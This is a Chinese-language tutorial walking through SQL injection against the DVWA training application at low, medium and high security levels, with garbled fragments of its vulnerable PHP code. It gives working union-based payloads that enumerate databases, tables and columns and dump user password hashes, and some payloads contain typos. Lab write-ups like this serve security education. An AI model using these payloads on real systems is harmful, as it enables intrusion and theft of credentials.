sql注入

sql injection

sql injection 即 sql注入,指攻击者通过注入恶意的sql命令,破坏sql查询语句的结构,从而达到执行而已sql语句的目的。

sql注入的步骤

1.判断是否存在注入,注入是字符型还是数字型

2.猜解sql查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库的表

6.获取表中的字段名

7.下载数据

猜数据库

select schema_name from information_schema.schemata

猜某库的数据表

select table_name from information_schema.tables where table_schema=' *****(数据库名)'#

猜某表的所有列

select column_name from information_schema.columns where table_name= ' *****(数据表名)'#

获取某列的内容

select *** from ***



LOW

'. mysql_error() . '');     //Get results     $num = mysql_numrows( $result );     $i   = 0; while($i < $num ) {         //Get values         $first = mysql_result( $result, $i, "first_name");         $last  = mysql_result( $result, $i, "last_name");         //Feedbackforenduser         echo "

ID: {$id}
First name: {$first}
Surname: {$last}

";         //Increase loop count         $i++;     }     mysql_close(); } ?> 

可以看到,Low级别的代码对参数id没有进行任何的检查与过滤。

因为无法看到后端代码,以下测试都在不知情的情况下进行。

1.判断是否存在注入,注入是字符型还是数字型。

输入1,查询成功:

输入 1' or '1234' = '1234 ,查询成功

返回多个结果,说明存在字符型注入

2.猜测sql查询语句中的字段数

输入1' or 1=1 order by 2 #,查询成功

输入1' or 1= 1 order by 3# 查询失败


说明sql查询语句中只有两个字段,First name,Surname

4.获取当前数据库

输入1' union select 1,database() #,查询成功


当前数据库名为dvwa

5.获取当前数据库的表

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#



说明数据库中一共两个表,guestbook与users。

6.获取表中的字段名

输入1' union selecct 1,group_cancat(column_name) from information_schema.columns where table_name='user' #


7.下载数据

输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password)from users#


这样就得到了users表中的所有用户的user_id,first_name,last_name,password的数据

medium

'. mysql_error() . '');     //Get results     $num = mysql_numrows( $result );     $i   = 0; while($i < $num ) {         //Display values         $first = mysql_result( $result, $i, "first_name");         $last  = mysql_result( $result, $i, "last_name");         //Feedbackforenduser         echo "

ID: {$id}First name: {$first}Surname: {$last}
";         //Increase loop count         $i++;     }     //mysql_close(); } ?> 

以下拉列表形式,阻止输入注入,但依然可以通过抓包实行sql注入。利用burpsuit,操作和之上的一样。

利用了mysql_real_escape_string函数

mysql_real_escape_string(string,connection)

下列字符受影响:

\x00

\n

\r

\

'

"

\x1a

进行转义


high

服务器端核心代码

Something went wrong.');     //Get results     $num = mysql_numrows( $result );     $i   = 0; while($i < $num ) {         //Get values         $first = mysql_result( $result, $i, "first_name");         $last  = mysql_result( $result, $i, "last_name");         //Feedbackforenduser         echo "

ID: {$id}First name: {$first}Surname: {$last}

";         //Increase loop count         $i++;     }     mysql_close(); } ?> 

high级别的代码添加了LIMIT 1


你可能感兴趣的:(sql注入)